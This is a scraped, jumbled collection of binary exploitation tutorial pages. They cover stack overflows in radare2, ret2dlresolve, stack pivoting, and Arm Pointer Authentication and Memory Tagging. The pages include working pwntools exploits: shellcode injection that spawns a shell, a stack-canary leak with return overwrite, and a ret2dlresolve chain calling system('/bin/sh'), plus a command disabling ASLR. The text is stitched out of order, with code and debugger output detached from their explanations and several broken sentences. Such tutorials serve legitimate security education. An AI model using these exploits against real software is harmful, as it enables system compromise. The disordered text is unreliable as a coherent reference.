When the physical memory (RAM) is filled up, the OS will move inactive pages in memory to the swap space, which is located on the hard drive. The idea is that, in times of large memory usage, the hard drive acts as a sort of "RAM overflow". Swapped memory is much, much slower than RAM, which is why inactive memory pages are the ones moved. This allows the Operating System to handle low memory gracefully and without crashing. Virtual addressing allows developers to not think about this happening, as the address translation done by the OS via the MMU will automatically map the corresponding virtual addresses to hard drive addresses.
Memory Integrity Enforcement
Pointer Authentication
An Arm hardware protection to combat ROP
Overview
Pointer Authentication is a hardware feature available for Arm devices to protect against ROP attacks. A Pointer Authentication Code (PAC) is generated from the value of a given pointer, and must be used to verify pointers before using them. This protection requires hardware support, as the assembly instructions (such as paciasp and retaa) that are required for this must exist on the processor, and compiler support.
PAC has two keys, called Key A and Key B. The instruction paciasp will sign the Link Register (lr) using Key A and the SP register, and is often used at function entry (to store the return pointer). pacibsp will do the same, but with Key B.
At function exit, when LR is popped off the stack, we use the retaa instruction instead. This instruction authenticates the address in LR using Key A and SP and branches to the authenticated address. retab is used for Key B instead.
The binary has two files - source.c and vuln; the latter is an ELF file, which is the executable format for Linux (it is recommended to follow along with this with a Virtual Machine of your own, preferably Linux).
We're gonna use a tool called radare2 to analyse the behaviour of the binary when functions are called.
The -d runs it while the -A performs analysis. We can disassemble main with
s main seeks (moves) to main, while pdf stands for Print Disassembly Function (literally just disassembles it).
The call to unsafe is at 0x080491bb, so let's break there.
db stands for debug breakpoint, and just sets a breakpoint. A breakpoint is simply somewhere which, when reached, pauses the program for you to run other commands. Now we run dc for debug continue; this just carries on running the file.
It should break before unsafe is called; let's analyse the top of the stack now:
pxw tells r2 to analyse the hex as words, that is, 32-bit values. I only show the first value here, which is 0xf7efe000. This value is stored at the top of the stack, as ESP points to the top of the stack - in this case, that is 0xff984af0.
Note that the value 0xf7efe000 is random - it's an artefact of previous processes that have used that part of the stack. The stack is never wiped, it's just marked as usable, so before data actually gets put there the value is completely dependent on your system.
Let's move one more instruction with ds, debug step, and check the stack again. This will execute the call sym.unsafe instruction.
Huh, something's been pushed onto the top of the stack - the value 0x080491c0. This looks like it's in the binary - but where? Let's look back at the disassembly from before:
We can see that 0x080491c0 is the memory address of the instruction after the call to unsafe. Why? This is how the program knows where to return to after unsafe() has finished.
Weaknesses
But as we're interested in binary exploitation, let's see how we can possibly break this. First, let's disassemble unsafe and break on the ret instruction; ret is the equivalent of pop eip, which will get the saved return pointer we just analysed on the stack into the eip register. Then let's continue and spam a bunch of characters into the input and see how that could affect it.
Now let's read the value at the location the return pointer was at previously, which as we saw was 0xff984aec.
Huh?
It's quite simple - we inputted more data than the program expected, which resulted in us overwriting more of the stack than the developer expected. The saved return pointer is also on the stack, meaning we managed to overwrite it. As a result, on the ret, the value popped into eip won't be in the previous function but rather 0x41414141. Let's check with ds.
And look at the new prompt - 0x41414141. Let's run dr eip to make sure that's the value in eip:
Yup, it is! We've successfully hijacked the program execution! Let's see if it crashes when we let it run with dc.
radare2 is very useful and prints out the address that causes it to crash. If you cause the program to crash outside of a debugger, it will usually say Segmentation Fault, which could mean a variety of things, but usually that you have overwritten EIP.
Of course, you can prevent people from writing more characters than expected when making your program, usually using other C functions such as fgets(); gets() is intrinsically unsafe because it doesn't check the length of the input, meaning that the presence of gets() is always something you should check out in a program. It is also possible to give fgets() the wrong parameters, meaning it still takes in too many characters.
Summary
When a function calls another function, it
pushes a return pointer to the stack so the called function knows where to return
when the called function finishes execution, it pops it off the stack again
Because this value is saved on the stack, just like our local variables, if we write more characters than the program expects, we can overwrite the value and redirect code execution to wherever we wish. Functions such as fgets() can prevent such easy overflow, but you should check how much is actually being read.
from pwn import *
p = process('./vuln-32')
log.info(p.clean())
p.sendline('%23$p')
canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')
payload = b'A' * 64
payload += p32(canary) # overwrite canary with original value to not trigger
payload += b'A' * 12 # pad to return pointer
payload += p32(0x08049245)
p.clean()
p.sendline(payload)
print(p.clean().decode('latin-1'))
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ r2 -d -A vuln
[0xf7fd40b0]> s sym.unsafe ; pdf
[...]
; var int32_t var_134h @ ebp-0x134
[...]
[0x08049172]> dc
Overflow me
<<Found me>> <== This was my input
hit breakpoint at: 80491a8
[0x080491a8]> px @ ebp - 0x134
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....
[...]
$ ragg2 -P 400 -r
<copy this>
$ r2 -d -A vuln
[0xf7fd40b0]> dc
Overflow me
<<paste here>>
[0x73424172]> wopO `dr eip`
312
from pwn import *
context.binary = ELF('./vuln')
p = process()
payload = asm(shellcraft.sh()) # The shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4) # Address of the Shellcode
$ python3 exploit.py
[*] 'vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process 'vuln': pid 3606
[*] Overflow me
[*] Switching to interactive mode
$ whoami
ironstone
$ ls
exploit.py source.c vuln
from pwn import *
context.binary = ELF('./vuln')
p = process()
payload = asm(shellcraft.sh()) # The shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4) # Address of the Shellcode
log.info(p.clean())
p.sendline(payload)
p.interactive()
[0x08049172]> db 0x080491aa
[0x08049172]> dc
Overflow me
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[0x41414141]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
Exploitation
Source
To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:
Exploitation
pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:
Let's use rop.dump() to break down what's happening.
As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.
Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.
system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed
After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a
After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():
Final Exploit
ret2dlresolve
Resolving our own libc functions
Broad Overview
During a ret2dlresolve, the attacker tricks the binary into resolving a function of its choice (such as system) into the PLT. This then means the attacker can use the PLT function as if it was originally part of the binary, bypassing ASLR (if present) and requiring no libc leaks.
Detailed Overview
Dynamically-linked ELF objects import libc functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.
For all these screenshots, I broke at read@plt. I'm using GDB with the pwndbg plugin as it shows it a bit better.
The PLT jumps to wherever the GOT points. Originally, before the GOT is updated, it points back to the instruction after the jmp in the PLT to resolve it.
In order to resolve the functions, there are 3 structures that need to exist within the binary. Faking these 3 structures could enable us to trick the linker into resolving a function of our choice, and we can also pass parameters in (such as /bin/sh) once resolved.
Structures
There are 3 structures we need to fake.
JMPREL
The JMPREL segment (.rel.plt) stores the Relocation Table, which maps each entry to a symbol.
These entries are of type Elf32_Rel:
The column name corresponds to our symbol name. The offset is the GOT entry for our symbol. info stores additional metadata.
Note the due to this the R_SYM of gets is 1 as 0x107 >> 8 = 1.
STRTAB
Much simpler - just a table of strings for the names.
SYMTAB
Symbol information is stores here in an Elf32_Sym struct:
The most important value here is st_name as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.
Linking the Structures
We now know we can get the STRTAB offset of the symbol's string using the R_SYM value we got from the JMPREL, combined with SYMTAB:
Here we're reading SYMTAB + R_SYM * size (16), and it appears that the offset (the SYMTABst_name variable) is 0x10.
And if we read that offset on STRTAB, we get the symbol's name!
More on the PLT and GOT
Let's hop back to the GOT and PLT for a slightly more in-depth look.
If the GOT entry is unpopulated, we push the reloc_offset value and jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to calculate the relocation and symtab entries.
Resources
Stack Pivoting
Lack of space for ROP
Overview
Stack Pivoting is a technique we use when we lack space on the stack - for example, we have 16 bytes past RIP. In this scenario, we're not able to complete a full ROP chain.
During Stack Pivoting, we take control of the RSP register and "fake" the location of the stack. There are a few ways to do this.
pop rsp gadget
Possibly the simplest, but also the least likely to exist. If there is one of these, you're quite lucky.
xchg <reg>, rsp
If you can find a pop <reg> gadget, you can then use this xchg gadget to swap the values with the ones in RSP. Requires about 16 bytes of stack space after the saved return pointer:
leave; ret
This is a very interesting way of stack pivoting, and it only requires 8 bytes.
Every function (except main) is ended with a leave; ret gadget. leave is equivalent to
Note that the function ending therefore looks like
That means that when we overwrite RIP the 8 bytes before that overwrite RBP (you may have noticed this before). So, cool - we can overwrite rbp using leave. How does that help us?
Well if we look at leave again, we noticed the value in RBP gets moved to RSP! So if we call overwrite RBP then overwrite RIP with the address of leave; ret again, the value in RBP gets moved to RSP. And, even better, we don't need any more stack space than just overwriting RIP, making it very compressed.
Memory Tagging Extension (MTE)
Arm's MTE Hardware Protection
Overview
Much like with Pointer Authentication, Arm consistently comes out with hardware-enabled protections that provide greater security. MTE, as it is called, is a hardware-based defence against memory safety vulnerabilities.
There are two common mistakes in memory management that commonly cause vulnerabilities:
Vulnerability Type
Examples
Description
MTE aims to mitigate both of these vulnerabilities using a "lock" and "key" system.
Operation: Tagging
Within the lock and key system, there are two types of tagging:
Address Tagging (the key) - adds a four-bit "tag" to the top of every pointer used in the program; this only works in 64-bit applications since it uses "top-byte-ignore", an Arm 64-bit feature
Memory Tagging (the lock) - also consists of four bits, linked to every 16-byte aligned region in the applications memory space (these regions are referred to as tag granules)
The idea is that, through address tagging, a pointer can only access a region of memory if the memory tag matches the address tag. Let's take some from :
The pointer p is "tagged" with the green tag, but is attempting to access memory that is tagged purple. The processor notes that the tag of the pointer is different to that of the purple tag, and throws an error.
On initial allocation via malloc, 2N bytes of space is tagged green, and the pointer is tagged green. Then, when the green pointer is freed, the green memory is retagged to red. If the green pointer is then used again, the processor will notice a difference in tag and throw an error.
How is MTE used?
There are : , and .
Synchronous mode is optimized for correctness of bug detection and has the highest overhead; on a tag mismatch, the process terminates with SIGSEGV immediately
Asynchronous is optimized for performance; on a tag mismatch, the process continues execution until the nearest kernel entry, and then terminates with SIGSEGV
Asymmetric is an improvement on Asynchronous in pretty much every way, doing synchronous checking on reads and asynchronous on writes
Android suggests using SYNC mode for testing to catch bugs, and use ASYMM in production (or ASYNC if ASYMM does not exist in the processor) due to the lower overhead.
While MTE is incredibly powerful, it is sometimes too powerful, and as a result it is not always enabled by default. Many apps with buggy invalid accesses work perfectly fine silently, but will cause a full crash if MTE is enabled. As a result MTE is not forced upon user-installed apps on either Android or iOS. Due to performance concerns, MTE is not enabled by default for the Android kernel either.
Enhanced MTE
This is a set of modifications made to MTE , through collaboration with Arm. I can find little information about it except under the heading FEAT_MTE4, Enhanced Memory Tagging Extension. It is very much linked to Apple's new security mitigation, which is found in their very latest iPhones. We can expect to see this in the new Apple Silicon chips.
long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.
At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
[DEBUG] PLT 0x8049030 read
[DEBUG] PLT 0x8049040 __libc_start_main
[DEBUG] Symtab: 0x804820c
[DEBUG] Strtab: 0x804825c
[DEBUG] Versym: 0x80482a6
[DEBUG] Jmprel: 0x80482d8
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
[DEBUG] Version index addr: 0x8048c26
[DEBUG] Data addr: 0x804ce00
[DEBUG] PLT_INIT: 0x8049020
[*] 0x0000: b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[...]
0x004c: 0x8049030 read(0, 0x804ce00)
0x0050: 0x804921a <adjust @0x5c> pop edi; pop ebp; ret
0x0054: 0x0 arg0
0x0058: 0x804ce00 arg1
0x005c: 0x8049020 [plt_init] system(0x804ce24)
0x0060: 0x4b44 [dlresolve index]
0x0064: b'zaab' <return address>
0x0068: 0x804ce24 arg0
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
$readelf -d source
Dynamic section at offset 0x2f14 contains 24 entries:
Tag Type Name/Value
0x00000005 (STRTAB) 0x804825c
0x00000006 (SYMTAB) 0x804820c
0x00000017 (JMPREL) 0x80482d8
[...]
$readelf -r source
Relocation section '.rel.dyn' at offset 0x2d0 contains 1 entry:
Offset Info Type Sym.Value Sym. Name
0804bffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2d8 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 gets@GLIBC_2.0
0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
typedef struct
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;